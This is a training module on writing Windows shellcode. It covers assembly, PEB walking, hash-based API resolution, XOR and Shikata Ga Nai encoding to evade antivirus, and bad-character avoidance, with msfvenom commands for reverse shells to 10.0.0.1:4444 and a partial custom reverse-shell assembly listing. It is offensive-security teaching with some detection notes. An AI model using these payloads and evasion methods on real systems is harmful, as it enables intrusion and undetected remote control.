Module 05: Shellcode

MODULE 05/22 ● LIVE TESTED CLASSIFICATION: RESTRICTED

Shellcode is not a program. It's a parasite. It doesn't have a window, a menu, or a file. It exists only in memory, injected into another process, and executes invisibly. The smaller it is, the harder it is to detect. The simpler it is, the more reliable it is. This module teaches you to write, encode, inject, and execute shellcode — the purest form of malware. You will learn assembly from the ground up, master the stack and registers, walk the PEB to find APIs dynamically, encode payloads to evade detection, and build custom position-independent code that works on any Windows system.

"Shellcode is just instructions."

At the CPU level there is no such thing as a "program file" — only bytes that the processor reads, decodes, and executes one by one. Shellcode is simply a sequence of those bytes chosen to do something useful, like open a socket or launch a program. It does not need a linker, a loader, or an installer.

Red: If you can turn your goal into raw CPU instructions, you can run it anywhere you can write memory. Blue: Detection that only looks at files or processes misses code that never touches disk.

Imagine a soldier who doesn't wear a uniform, doesn't carry a weapon, and doesn't exist on any roster. He slips into an enemy unit, wears their uniform, speaks their language, and waits. When the time comes, he acts — and disappears. That's shellcode. Not a program, but a presence inside a program. He doesn't bring his own tools; he uses the enemy's. He doesn't ask for permission; he takes what he needs from the environment. This module teaches you to become that soldier at the machine-code level.

Module 06: Memory

Virtual memory layout, heap vs stack, memory protection flags (PAGE_EXECUTE_READWRITE), and how shellcode lives in memory without a file on disk.

Module 09: Malware

Payload design, evasion techniques, packers, and how shellcode fits into the broader malware development lifecycle.

Module 10: Code Injection

Process injection, remote threads, APC injection, and how shellcode is delivered into target processes using Windows APIs.


SECTION 01

Assembly Basics: Speaking to the CPU

Shellcode is machine code — binary instructions that the CPU executes directly. No compiler, no linker, no operating system loader. Just raw bytes fed into memory and jumped to. To write shellcode, you must first understand assembly: the human-readable representation of machine code. Every instruction maps to one or more bytes. Every byte is an order given directly to the CPU.

Assembly is like giving orders in the enemy's language. You don't ask the OS to do something; you tell the CPU directly. No interpreter, no middleman. Every command is a single machine instruction: move this value, add these numbers, jump to that address. If you get one byte wrong, the CPU crashes or executes garbage. Precision is everything.

1.1 What is Assembly?

Assembly language is a symbolic representation of a processor's machine code. Each assembly instruction corresponds to exactly one machine instruction (on RISC architectures) or a small sequence (on CISC like x86). The assembler (NASM, MASM, GAS) converts these human-readable mnemonics into the binary opcodes the CPU understands.

; Assembly → Machine Code → CPU Execution ; Each line becomes 1-15 bytes of raw binary mov eax, 1 ; B8 01 00 00 00 (5 bytes on x86) add eax, ebx ; 01 D8 (2 bytes) jmp short label ; EB 05 (2 bytes, relative) call eax ; FF D0 (2 bytes)

1.2 Instruction Format

x86 instructions follow a variable-length format: [Prefixes] + [Opcode] + [ModR/M] + [SIB] + [Displacement] + [Immediate]. Not all fields are present in every instruction. Understanding this helps you predict instruction sizes and avoid null bytes.

FieldSizePurpose
Prefixes0-4 bytesLock, repeat, segment override, operand-size override
Opcode1-3 bytesThe actual operation (mov, add, jmp, etc.)
ModR/M0-1 byteRegister/memory addressing mode
SIB0-1 byteScale-Index-Base for complex addressing
Displacement0-4 bytesMemory offset
Immediate0-4 bytesConstant value operand
Why instruction size matters

Shellcode size is critical. Every byte must be injected, and smaller payloads evade size-based heuristics. A mov eax, 0 encoded as B8 00 00 00 00 is 5 bytes with nulls. The same operation as xor eax, eax (31 C0) is 2 bytes, null-free. Shellcode authors obsess over every byte.

1.3 Common Instructions for Shellcode

InstructionDescriptionExample Use
movMove data between registers/memorymov eax, ebx — copy register value
push / popStack operationspush eax — save register; pop eax — restore
xorBitwise XOR (used to zero registers)xor eax, eax — zero eax without nulls
add / subArithmeticadd esp, 0x20 — clean stack
call / retFunction call and returncall eax — call API via register
jmpUnconditional jumpjmp short forward — skip data
cmp / testCompare and test (set flags)cmp eax, 0 — check return value
jz / jnzJump if zero / not zerojz error_handler — branch on failure
leaLoad effective addresslea eax, [esp+4] — get pointer
nopNo operation (0x90)nop sleds, alignment padding
SECTION 02

x86/x64 Registers: The CPU's Workspace

Registers are the CPU's fastest, smallest storage. They hold data being processed, memory addresses, and status flags. Shellcode lives and dies by register management. You have no variables, no stack frame helpers — just registers and memory.

2.1 General-Purpose Registers (x86)

RegisterFull (32-bit)Low 16Low 8High 8Typical Use
EAXEAXAXALAHAccumulator, return values, arithmetic
EBXEBXBXBLBHBase register, often holds pointers
ECXECXCXCLCHCounter, loop iterations, string ops
EDXEDXDXDLDHData, I/O operations, multiply/divide
ESIESISISIL*Source index, string source pointer
EDIEDIDIDIL*Destination index, string destination
EBPEBPBPBPL*Base pointer, stack frame reference
ESPESPSPSPL*Stack pointer, top of stack

* Low 8-bit aliases require REX prefix on x64; not available on x86.

2.2 Special-Purpose Registers

RegisterPurposeShellcode Relevance
EIP / RIPInstruction pointer — address of next instructionCannot be directly modified; controlled via jmp/call/ret
EFLAGSStatus flags (zero, carry, sign, overflow, etc.)Conditional jumps depend on these flags
FS (x86) / GS (x64)Segment register pointing to TEB/PEBFS:[0x30] = PEB on x86; GS:[0x60] = PEB on x64

2.3 x64 Register Extensions

x64 adds 8 new general-purpose registers (R8-R15) and extends all 32-bit registers to 64-bit (RAX, RBX, RCX, etc.). Calling conventions differ: the first four integer arguments are passed in RCX, RDX, R8, R9 instead of the stack. This changes shellcode design significantly.

; x86: arguments pushed onto stack push 0 ; uCmdShow push ebx ; lpCmdLine call WinExec ; Stack-based calling ; x64: arguments in registers mov rcx, rbx ; lpCmdLine (1st arg) mov rdx, 1 ; uCmdShow (2nd arg) call WinExec ; Register-based calling
⚠ Register Preservation Rules

In both x86 and x64, certain registers must be preserved across function calls: EBX/RBX, ESI/RSI, EDI/RDI, EBP/RBP. If your shellcode modifies these, you must save and restore them. EAX/RAX, ECX/RCX, EDX/RDX are scratch registers — functions can overwrite them freely. Violating these rules crashes the host process.

SECTION 03

The Stack: LIFO Memory for Function Calls

The stack is a region of memory that grows downward (from high addresses to low addresses). It is used for temporary storage, function call frames, local variables, and return addresses. Understanding the stack is non-negotiable for shellcode — every function call manipulates it, and buffer overflows (which inject shellcode) target it.

The stack is like a pile of papers on a desk. You can only add or remove from the top. When you call a function, you put the return address on top. When the function finishes, it reads that address and jumps back. If an attacker overflows a buffer and overwrites the return address, they control where the CPU goes next. That's the foundation of stack-based exploitation.

3.1 Stack Operations

; Stack grows DOWNWARD (toward lower addresses) ; ESP always points to the top of the stack push eax ; ESP -= 4; [ESP] = EAX pop ebx ; EBX = [ESP]; ESP += 4 push 0x12345678 ; ESP -= 4; [ESP] = 0x12345678 ; Stack frame setup (function prologue) push ebp ; Save old base pointer mov ebp, esp ; Set new base pointer sub esp, 0x20 ; Allocate 32 bytes for locals ; Stack frame teardown (function epilogue) mov esp, ebp ; Deallocate locals pop ebp ; Restore old base pointer ret ; Pop return address into EIP

3.2 Stack Layout During Function Call

; Before call: ; [ESP+8] = argument 2 ; [ESP+4] = argument 1 ; [ESP] = return address (pushed by CALL instruction) ; [ESP-4] = saved EBP (pushed by function prologue) ; [ESP-8] = local variable 1 ; [ESP-C] = local variable 2

3.3 Stack Alignment (x64)

x64 requires the stack to be 16-byte aligned before a CALL instruction. Misaligned stacks cause crashes in SSE-optimized functions. Shellcode must manually align the stack or use APIs that don't enforce alignment.

; Align RSP to 16-byte boundary before calling an API and rsp, 0xFFFFFFFFFFFFFFF0 ; Clear low 4 bits sub rsp, 0x28 ; Shadow space (32 bytes) + alignment call SomeApi add rsp, 0x28 ; Clean up shadow space
SECTION 04

Calling Conventions: The Rules of Engagement

A calling convention defines how functions receive arguments, return values, and who cleans up the stack. Windows uses different conventions for different architectures and API types. Shellcode must obey these rules or the host process crashes.

4.1 stdcall (Windows APIs, 32-bit)

Arguments pushed right-to-left. Callee cleans the stack. Return value in EAX. This is the convention for most Windows APIs (kernel32.dll, user32.dll, etc.).

; stdcall: MessageBoxA(HWND, LPCSTR, LPCSTR, UINT) push 0 ; uType = MB_OK push title_string ; lpCaption push message_string ; lpText push 0 ; hWnd = NULL call MessageBoxA ; Arguments: 4 * 4 = 16 bytes ; MessageBoxA itself does: ret 0x10 (cleans stack)

4.2 cdecl (C runtime, 32-bit)

Arguments pushed right-to-left. Caller cleans the stack. Used by C runtime functions like printf, malloc.

; cdecl: printf(const char* format, ...) push value ; argument push format_string ; format call printf add esp, 8 ; Caller cleans: 2 args * 4 bytes

4.3 fastcall

First two arguments in ECX and EDX. Remaining arguments on stack. Callee cleans stack. Rare in Windows APIs but used in some internal functions.

4.4 x64 Calling Convention (Microsoft)

First four integer/pointer arguments in RCX, RDX, R8, R9. Additional arguments on stack. Caller allocates 32 bytes of "shadow space" on stack before call. Stack must be 16-byte aligned.

; x64: MessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) sub rsp, 0x28 ; Shadow space + alignment xor r9d, r9d ; uType = 0 (4th arg) lea r8, [caption] ; lpCaption (3rd arg) lea rdx, [message] ; lpText (2nd arg) xor ecx, ecx ; hWnd = NULL (1st arg) call MessageBoxA add rsp, 0x28 ; Restore stack
ConventionArgsStack CleanupWhere Used
stdcallStack (right-to-left)Callee (ret n)Most Windows APIs (32-bit)
cdeclStack (right-to-left)Caller (add esp, n)C runtime functions
fastcallECX, EDX, then stackCalleeSome internal MS functions
x64 MSRCX, RDX, R8, R9, then stackCallerAll Windows APIs (64-bit)
SECTION 05

Position-Independent Code (PIC)

Shellcode has no fixed address. It might be injected at 0x10000000 in one process and 0x7F000000 in another. It cannot contain hardcoded absolute addresses for data or code. Position-Independent Code (PIC) solves this by computing addresses relative to the current instruction pointer.

PIC is like a soldier who doesn't know which building he's in, but he knows the layout is always the same. He measures distances from where he stands, not from a fixed landmark. If he's in the kitchen, the armory is always three doors to the left — regardless of which building he's in. Shellcode uses the same principle: everything is relative to the instruction pointer (EIP/RIP).

"Position-independent code is the goal."

Normal programs assume they will be loaded at one specific address. Shellcode cannot assume that, because it is injected into memory by an exploit and may land anywhere. PIC means the code never hardcodes addresses; it figures out where it is and computes everything relative to that point.

Red: PIC lets one payload work across reboots, processes, and ASLR without modification. Blue: Look for code that calls into itself, uses FS/GS to find the PEB, or avoids absolute pointers — these are hallmarks of injected shellcode.

5.1 The Problem: No Absolute Addresses

; BAD: Hardcoded data address — fails when injected elsewhere mov eax, 0x00403000 ; Data at fixed address in original EXE push eax call SomeFunction ; GOOD: EIP-relative data access call get_eip get_eip: pop ebx ; EBX = address of get_eip label lea eax, [ebx + data - get_eip] ; EAX = address of data ... data: db "Hello", 0

5.2 The call/pop Technique

The most common PIC technique in shellcode: call pushes the return address (which is the address of the next instruction) onto the stack. pop retrieves it into a register. This gives you the current EIP without needing to read it directly (which requires special instructions).

; Classic call/pop to get EIP call get_eip ; Pushes address of 'pop ebx' onto stack get_eip: pop ebx ; EBX = address of get_eip ; Now EBX is our base. All data offsets are relative to EBX. lea esi, [ebx + string1 - get_eip] lea edi, [ebx + string2 - get_eip] ... string1: db "kernel32", 0 string2: db "LoadLibraryA", 0

5.3 x64 RIP-Relative Addressing

x64 has native RIP-relative addressing, making PIC easier. You can reference data directly relative to the instruction pointer without tricks.

; x64: RIP-relative addressing (no call/pop needed) lea rcx, [rel message] ; RCX = address of message call printf ... message: db "Hello World", 0
Why PIC is mandatory for shellcode

When you inject shellcode via VirtualAllocEx + WriteProcessMemory, the target address is determined by the OS. It could be anywhere in the 2-4GB user-mode address space. If your shellcode references absolute addresses, it will access random memory and crash. PIC ensures your code works regardless of where it lands.

"If you can write memory and execute it, you win."

Modern operating systems separate reading, writing, and executing memory for safety. If an attacker can find or create a region that is both writable and executable, they can place their own instructions there and jump to them. That is the whole game in a nutshell: get your bytes into memory, point the CPU at them, and let it run.

Red: Your exploit chain usually ends with allocating RWX memory, copying shellcode, and creating a thread. Blue: Monitor for VirtualAlloc/VirtualProtect calls that mark memory as PAGE_EXECUTE_READWRITE, especially from unusual callers.

SECTION 06

PEB Walking: Finding kernel32.dll Without Hardcoded Addresses

The Process Environment Block (PEB) is a Windows kernel structure that exists for every process. It contains the loaded module list, heap info, command line, and other process metadata. Most importantly, it contains the Ldr structure, which lists every loaded DLL with its base address. By walking this list, shellcode can find kernel32.dll dynamically — no hardcoded addresses needed.

The PEB is like a directory inside the enemy headquarters. It lists every unit (DLL) stationed there, where they are billeted (base address), and what equipment they have (exported functions). You don't need to know the address of the armory in advance; you just look it up in the directory. The directory is always in the same place: FS:[0x30] on x86, GS:[0x60] on x64.

6.1 PEB Structure Overview

; PEB structure (simplified, offsets stable since Windows NT) ; FS:[0x30] (x86) or GS:[0x60] (x64) → PEB* ; ; PEB + 0x00 = InheritedAddressSpace ; PEB + 0x0C = Ldr* (PEB_LDR_DATA) ; PEB + 0x1E = BeingDebugged ; PEB + 0x40 = ImageBaseAddress (x64: +0x10) ; ; PEB_LDR_DATA + 0x14 = InMemoryOrderModuleList (x86) ; PEB_LDR_DATA + 0x20 = InMemoryOrderModuleList (x64)

6.2 Walking the Module List

The InMemoryOrderModuleList is a doubly-linked list of LDR_DATA_TABLE_ENTRY structures. Each entry represents a loaded DLL. The list order is typically: executable, ntdll.dll, kernel32.dll, kernelbase.dll, ...

; x86 PEB walking to find kernel32.dll base xor eax, eax mov eax, fs:[eax+0x30] ; EAX = PEB mov eax, [eax+0x0C] ; EAX = PEB->Ldr mov eax, [eax+0x14] ; EAX = InMemoryOrderModuleList (first entry) mov eax, [eax] ; EAX = second entry (ntdll.dll) mov eax, [eax] ; EAX = third entry (kernel32.dll) mov ebx, [eax+0x10] ; EBX = kernel32.dll base address ; EBX now points to the base of kernel32.dll
; x64 PEB walking to find kernel32.dll base xor rdx, rdx mov rax, gs:[rdx+0x60] ; RAX = PEB mov rax, [rax+0x18] ; RAX = PEB->Ldr mov rax, [rax+0x20] ; RAX = InMemoryOrderModuleList mov rax, [rax] ; ntdll.dll mov rax, [rax] ; kernel32.dll mov rbx, [rax+0x20] ; RBX = kernel32.dll base address (x64 offset)

6.3 Why This Bypasses ASLR

Address Space Layout Randomization (ASLR) randomizes DLL base addresses on every reboot. But the PEB is always at a predictable offset from the segment register (FS/GS). The module list inside the PEB always contains the actual, current base addresses. By reading the PEB at runtime, shellcode gets the correct address regardless of randomization. This is the fundamental ASLR bypass technique used in virtually all modern Windows shellcode.

Why the PEB is reliable across Windows versions

The PEB structure offsets have been stable since Windows NT 4.0. Microsoft cannot change them without breaking compatibility with thousands of applications. The FS:[0x30] / GS:[0x60] pointer, the Ldr offset (+0x0C x86 / +0x18 x64), and the module list entry offsets are effectively frozen in the Windows ABI. This makes PEB walking one of the most reliable techniques in shellcode.

SECTION 07

Export Table Parsing: Finding APIs by Name

Once you have a DLL's base address (from PEB walking), you need to find the address of a specific exported function (e.g., LoadLibraryA, WinExec, CreateProcessA). The PE (Portable Executable) format stores this information in the Export Directory. By parsing this structure manually, shellcode can resolve any API without calling GetProcAddress — which itself must first be found.

7.1 PE Format Overview

; PE format: DOS Header → PE Signature → COFF Header → Optional Header → Data Directories ; DOS Header (64 bytes): ; +0x00 e_magic = "MZ" ; +0x3C e_lfanew = offset to PE signature ; ; PE Signature (4 bytes): "PE\0\0" ; ; COFF Header (20 bytes): machine type, section count, etc. ; ; Optional Header: ; +0x18 (x86) / +0x20 (x64) AddressOfEntryPoint ; +0x60 (x86) / +0x70 (x64) DataDirectory[0] = Export Directory ; DataDirectory = { VirtualAddress, Size }

7.2 Export Directory Structure

; IMAGE_EXPORT_DIRECTORY structure: ; +0x00 Characteristics ; +0x04 TimeDateStamp ; +0x08 MajorVersion / MinorVersion ; +0x0C Name (RVA of DLL name string) ; +0x10 Base (ordinal base) ; +0x14 NumberOfFunctions ; +0x18 NumberOfNames ; +0x1C AddressOfFunctions (RVA array of function addresses) ; +0x20 AddressOfNames (RVA array of name string RVAs) ; +0x24 AddressOfNameOrdinals (array of ordinals, parallel to names)

7.3 Manual Export Parsing Algorithm

; Algorithm to find LoadLibraryA in kernel32.dll: ; 1. Get kernel32.dll base from PEB (EBX) ; 2. Read DOS header: EBX + 0x3C = PE header offset ; 3. Read Optional Header: PE + 0x18 (x86) = Optional Header ; 4. Read DataDirectory[0]: OptHeader + 0x60 = Export Directory RVA ; 5. Export Directory VA = EBX + ExportDirectoryRVA ; 6. NumberOfNames = [ExportDir + 0x18] ; 7. AddressOfNames = EBX + [ExportDir + 0x20] ; 8. AddressOfNameOrdinals = EBX + [ExportDir + 0x24] ; 9. AddressOfFunctions = EBX + [ExportDir + 0x1C] ; 10. Loop through names, compare to "LoadLibraryA" ; 11. On match: ordinal = AddressOfNameOrdinals[index] ; 12. Function address = EBX + AddressOfFunctions[ordinal]

7.4 Assembly Implementation

; x86 assembly: find LoadLibraryA by hash (common shellcode technique) ; Instead of comparing full strings, many shellcodes use 4-byte hashes ; This saves space and avoids storing long strings in the payload find_function: pushad ; Save all registers mov ebp, [esp + 0x24] ; EBP = DLL base mov eax, [ebp + 0x3C] ; EAX = PE header offset mov edx, [ebp + eax + 0x78]; EDX = Export Directory RVA add edx, ebp ; EDX = Export Directory VA mov ecx, [edx + 0x18] ; ECX = NumberOfNames mov ebx, [edx + 0x20] ; EBX = AddressOfNames RVA add ebx, ebp ; EBX = AddressOfNames VA find_function_loop: jecxz find_function_finished dec ecx ; ECX = index into names array mov esi, [ebx + ecx*4] ; ESI = name RVA add esi, ebp ; ESI = name VA call compute_hash ; Compute hash of function name cmp eax, [esp + 0x28] ; Compare to target hash jnz find_function_loop ; No match, try next ; Found it! Get function address mov ebx, [edx + 0x24] ; EBX = AddressOfNameOrdinals RVA add ebx, ebp ; EBX = AddressOfNameOrdinals VA mov cx, [ebx + ecx*2] ; CX = ordinal mov ebx, [edx + 0x1C] ; EBX = AddressOfFunctions RVA add ebx, ebp ; EBX = AddressOfFunctions VA mov eax, [ebx + ecx*4] ; EAX = function RVA add eax, ebp ; EAX = function VA mov [esp + 0x1C], eax ; Overwrite EAX in pushad stack find_function_finished: popad ; Restore registers (EAX = function addr) ret 0x08 ; Clean up hash argument
Why hashing is used instead of string comparison

Storing full strings like "LoadLibraryA\0" (13 bytes) plus "GetProcAddress\0" (15 bytes) increases shellcode size significantly. A 4-byte hash of the name is much smaller. The hash function (often a simple ROR+ADD loop) is computed at runtime and compared against the precomputed hash embedded in the shellcode. This technique, popularized by Metasploit, reduces shellcode size by 50% or more.

SECTION 08

Shellcode Encoding: Hiding the Payload

Raw shellcode is a signature. Antivirus engines, IDS/IPS systems, and EDR products maintain databases of known shellcode byte sequences. Encoding transforms the shellcode into a different byte sequence that decodes itself at runtime. The decoder stub is small; the encoded payload is unrecognizable to signature-based detection.

Encoding is like writing a message in invisible ink. The paper (the payload) looks blank to the enemy (AV), but when heated (executed), the message appears. The decoder is the match — small, simple, and hard to detect on its own. The encoded payload is just noise until the decoder runs.

8.1 XOR Encoding

The simplest and most common encoding. Every byte of the payload is XORed with a single-byte key (or multi-byte key). The decoder stub XORs the payload back to original form in memory, then jumps to it. XOR is reversible: A XOR B XOR B = A.

; XOR decoder stub (x86, single-byte key 0xAA) jmp short call_decoder decoder: pop esi ; ESI = address of encoded payload mov ecx, payload_len ; ECX = number of bytes to decode xor eax, eax ; EAX = 0 decode_loop: xor byte [esi + eax], 0xAA inc eax cmp eax, ecx jne decode_loop jmp esi ; Jump to decoded payload call_decoder: call decoder ; Encoded payload bytes follow here db 0x9B, 0x6A, 0xC2, ... ; XOR-encoded shellcode

8.2 Shikata Ga Nai (Metasploit)

Shikata Ga Nai (Japanese: "it cannot be helped") is Metasploit's polymorphic XOR additive feedback encoder. It is not a simple XOR loop — it uses dynamic instruction substitution, register randomization, and chained decoding. Each encoding produces a different byte sequence, defeating simple signature detection.

; Shikata Ga Nai characteristics: ; - Polymorphic: different encoding every time ; - Dynamic: decoder stub changes registers and instructions ; - FPU instructions: uses floating-point ops to get EIP (evades heuristics) ; - Chained: decoder decodes the next layer, which decodes the next, etc. ; ; Example msfvenom command: ; msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 \ ; -e x86/shikata_ga_nai -i 5 -f c ; -i 5 = encode 5 times (5 layers of encoding)

8.3 Other Encoders

EncoderTypeBest For
x86/shikata_ga_naiPolymorphic XORGeneral purpose, high evasion
x86/xorStatic XORSpeed, simplicity
x86/countdownXOR with countdownSmall payloads
x86/fnstenv_movFPU-based EIPGetting EIP without call/jmp
x86/alpha_mixedAlpha-numericRestrictive input (e.g., buffer filters)
x86/unicode_mixedUnicode-safeUnicode translation paths
⚠ Encoding is not encryption

Encoding transforms bytes to evade signatures. It does not provide confidentiality. Anyone with the key (or who captures the payload in memory after decoding) can recover the original shellcode. For true protection, use encryption (e.g., AES) with a key delivered separately. However, encrypted payloads require a decryption routine, which itself may be detected.

SECTION 09

Null Byte Avoidance: The Invisible Killer

Null bytes (0x00) terminate C strings. Many injection vectors — buffer overflows, format strings, URL parameters — treat 0x00 as the end of input. If your shellcode contains a null byte, it may be truncated before reaching memory. Avoiding null bytes is one of the oldest and most important shellcode constraints.

9.1 Why Null Bytes Break Shellcode

; Vulnerable C code: char buffer[256]; strcpy(buffer, user_input); // Stops at first null byte! ; ; If user_input contains shellcode with 0x00, ; strcpy copies only up to the null. The rest is lost. ; The exploit fails because the payload is incomplete.

9.2 Null-Free Alternatives

OperationWith Nulls (BAD)Null-Free (GOOD)
Zero EAXmov eax, 0 → B8 00 00 00 00xor eax, eax → 31 C0
Zero ECXmov ecx, 0 → B9 00 00 00 00xor ecx, ecx → 31 C9
EAX = 1mov eax, 1 → B8 01 00 00 00xor eax, eax / inc eax → 31 C0 / 40
Push 0push 0 → 6A 00xor eax, eax / push eax → 31 C0 / 50
Large valuemov eax, 0x7C8623ADxor eax, eax / mov ax, 0x23AD / shl eax, 16 / mov ax, 0x7C86

9.3 Building Null-Free Strings on the Stack

; BAD: Push "calc.exe" with null terminator — contains 0x00 push 0x6578652e ; "exe\0" — null byte in the high byte! push 0x636c6163 ; "calc" ; GOOD: Build string without nulls, then write null separately xor eax, eax ; EAX = 0 (no nulls in instruction) push eax ; Push null terminator (0x00 from register) push 0x6578652e ; "exe." (no null — note: little endian) push 0x636c6163 ; "calc" mov ebx, esp ; EBX points to "calc.exe\0"
Why null bytes are still relevant in 2024

Modern exploit mitigations (ASLR, DEP, stack canaries) have made simple stack overflows rare. But null byte avoidance remains critical for:

  • URL-encoded payloads (0x00 terminates the parameter)
  • String-based protocols (HTTP headers, SMTP, FTP)
  • File format exploits (PDF, Office) where strings are parsed
  • JSON/XML injection where 0x00 is invalid
SECTION 10

Bad Character Analysis: Know Your Constraints

Beyond null bytes, different injection vectors forbid different characters. A bad character is any byte that breaks your delivery mechanism. Common bad characters include null (0x00), newline (0x0A, 0x0D), space (0x20), and characters with special meaning in the target protocol (e.g., <, >, & in XML; \x in regex; % in URL encoding).

10.1 Common Bad Character Sets

VectorBad CharactersReason
strcpy overflow0x00String terminator
HTTP GET parameter0x00, 0x20, 0x26, 0x3DNull, space, &, = have special meaning
Base64 encodingNon-alphanumeric + / =Base64 alphabet restriction
Unicode conversion0x80-0xFF (depends on codepage)May be expanded to 2 bytes
JSON value0x00, 0x22, 0x5CNull, quote, backslash are escaped
XML/CDATA0x00, 0x3C, 0x3E, 0x26Null, <, >, & are special
Terminal input0x00, 0x03, 0x04, 0x1AControl characters (Ctrl+C, Ctrl+D, Ctrl+Z)

10.2 Identifying Bad Characters

The standard technique is to send a payload containing all 256 bytes (0x00-0xFF) and observe which ones are truncated, modified, or rejected. The surviving bytes are your allowed character set.

; Python script to generate a bad character test string badchars = bytes(range(256)) # Send this as your payload, then check memory to see which bytes arrived intact # Missing bytes at the end = truncation point # Modified bytes = transformation (e.g., uppercase conversion) # Missing bytes in the middle = specific bad chars

10.3 Working Around Bad Characters

Once you know your bad character set, you have several options:

⚠ Always test bad characters in the actual target

Never assume bad characters based on documentation alone. Firewalls, WAFs, and application-level filters may modify your payload in unexpected ways. The only reliable method is to send a test payload and inspect the result in a debugger or memory dump.

SECTION 11

msfvenom: The Shellcode Factory

msfvenom is the payload generation tool from the Metasploit Framework. It can generate shellcode in dozens of formats, apply encoders, avoid bad characters, and output to C, Python, PowerShell, raw binary, and more. It is the standard tool for rapid shellcode prototyping and production.

msfvenom is like an armory. You don't forge your own sword every time; you pick the right weapon for the mission, customize it, and deploy it. The armory has swords (bind shells), daggers (reverse shells), bows (staged payloads), and poison (encoded payloads). You choose the tool, the target, and the delivery method — msfvenom builds it.

11.1 Basic msfvenom Commands

# List available payloads $ msfvenom --list payloads | grep windows # Generate a Windows reverse TCP shell (raw bytes) $ msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f raw > shellcode.bin # Generate with C array output $ msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f c # Generate with Python output $ msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f python # Generate PowerShell one-liner $ msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f psh-cmd

11.2 Encoding and Bad Character Avoidance

# Encode with Shikata Ga Nai, 5 iterations $ msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 \ -e x86/shikata_ga_nai -i 5 -f c # Avoid specific bad characters (null, newline, carriage return) $ msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 \ -b '\x00\x0a\x0d' -f c # Combine encoding and bad character avoidance $ msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 \ -e x86/shikata_ga_nai -i 3 -b '\x00\x0a\x0d\x20' -f c # List available encoders $ msfvenom --list encoders

11.3 Common Payload Types

PayloadTypeUse Case
windows/shell_reverse_tcpStageless reverse shellDirect connection back to attacker
windows/shell/bind_tcpStageless bind shellListen on target, attacker connects
windows/meterpreter/reverse_tcpStaged reverse MeterpreterFull-featured post-exploitation
windows/execExecute commandRun a specific command (e.g., calc.exe)
windows/download_execDownload and executeFetch payload from URL, run it
windows/x64/shell_reverse_tcpx64 reverse shellModern 64-bit Windows targets

11.4 Output Formats

# Common output formats: -f raw → Raw binary bytes -f c → C unsigned char array -f python → Python bytearray -f psh → PowerShell script -f psh-cmd → PowerShell one-liner for cmd.exe -f exe → Windows executable -f dll → Windows DLL -f vbscript → VBScript -f java → Java byte array -f hex → Hex string
# Full msfvenom command with all options msfvenom -p windows/shell_reverse_tcp \ LHOST=10.0.0.1 LPORT=4444 \ -e x86/shikata_ga_nai -i 5 \ -b '\x00\x0a\x0d\x20\x25\x26' \ -f c -o shellcode.c
SECTION 12

Custom Shellcode: Building from Scratch

msfvenom is powerful, but custom shellcode is smaller, stealthier, and more reliable. You control every byte. You know exactly what it does. You can tailor it to specific constraints (size, bad characters, target OS version). This section walks through building a complete custom shellcode payload.

12.1 Design Goals

Our custom shellcode will:

12.2 Step-by-Step Custom Build

; Custom reverse shell shellcode (x86, position-independent) ; Assemble: nasm -f bin reverse_shell.asm -o reverse_shell.bin [BITS 32] [ORG 0] start: ; Step 1: Get EIP via call/pop call get_eip get_eip: pop ebx ; EBX = base address of shellcode lea ebp, [ebx + api_hashes - get_eip] ; EBP now points to our API hash table ; Step 2: Find kernel32.dll base via PEB xor eax, eax mov eax, [fs:eax+0x30] ; EAX = PEB mov eax, [eax+0x0C] ; EAX = PEB->Ldr mov eax, [eax+0x14] ; InMemoryOrderModuleList mov eax, [eax] ; ntdll.dll mov eax, [eax] ; kernel32.dll mov esi, [eax+0x10] ; ESI = kernel32.dll base ; Step 3: Find LoadLibraryA by hash lodsd ; EAX = hash of LoadLibraryA push eax push esi ; kernel32 base call find_function mov [ebx + ll_addr - get_eip], eax ; Step 4: Find GetProcAddress by hash lodsd push eax push esi call find_function mov [ebx + gpa_addr - get_eip], eax ; Step 5: Load ws2_32.dll lea ecx, [ebx + ws2_32 - get_eip] push ecx call [ebx + ll_addr - get_eip] mov edi, eax ; EDI = ws2_32.dll base ; ... (continues with socket setup, connect, CreateProcessA) api_hashes: dd 0x8A8B4036 ; hash of "LoadLibraryA" dd 0xAA700106 ; hash of "GetProcAddress" ll_addr: dd 0 gpa_addr: dd 0 ws2_32: db "ws2_32.dll", 0

12.3 Extracting and Testing

; Assemble to raw binary $ nasm -f bin reverse_shell.asm -o reverse_shell.bin ; Convert to hex for inspection $ xxd -p reverse_shell.bin | tr -d '\n' ; Convert to C array $ xxd -i reverse_shell.bin > shellcode.h ; Test in a C injector (see Module 10 for injection techniques) unsigned char shellcode[] = { 0xe8, 0x00, 0x00, 0x00, 0x00, // call get_eip 0x5b, // pop ebx // ... etc };

🧠 The Core Truth of Custom Shellcode

Custom shellcode is the difference between a script kiddie and a professional. Anyone can run msfvenom. But when msfvenom's 300-byte payload is too large, when its signature is detected, when bad characters break the delivery — the professional writes their own. Custom shellcode is smaller, stealthier, and fully understood. It is the hallmark of advanced capability.

SECTION 13

Lab Exercise: Build, Encode, and Test Shellcode

Apply everything in this module through hands-on exercises. All testing must be done in isolated virtual machines. Never run unknown shellcode on your main system or production networks.

⚠ SAFETY REQUIREMENTS

All shellcode testing must be performed in an isolated VM with no network connectivity to production systems. Use a dedicated lab network (e.g., 192.168.56.0/24) with Host-Only networking. Snapshot your VM before testing. Never test shellcode on systems you do not own or have explicit written authorization to test.

Lab 1: Assemble and Extract

  1. Install NASM: sudo apt-get install nasm (Linux) or download from nasm.us (Windows)
  2. Write assembly that calls WinExec("notepad.exe", 1) using a hardcoded address
  3. Assemble: nasm -f win32 notepad.asm -o notepad.obj
  4. Extract raw bytes: objdump -d notepad.obj or use a Python script to read the .text section
  5. Verify the extracted bytes match your assembly instructions

Lab 2: PEB Walking

  1. Write assembly that walks the PEB to find kernel32.dll base
  2. Verify the base address matches what you see in a debugger (x32dbg, WinDbg)
  3. Extend the code to parse kernel32.dll exports and find WinExec
  4. Call WinExec("notepad.exe", 1) using the dynamically resolved address

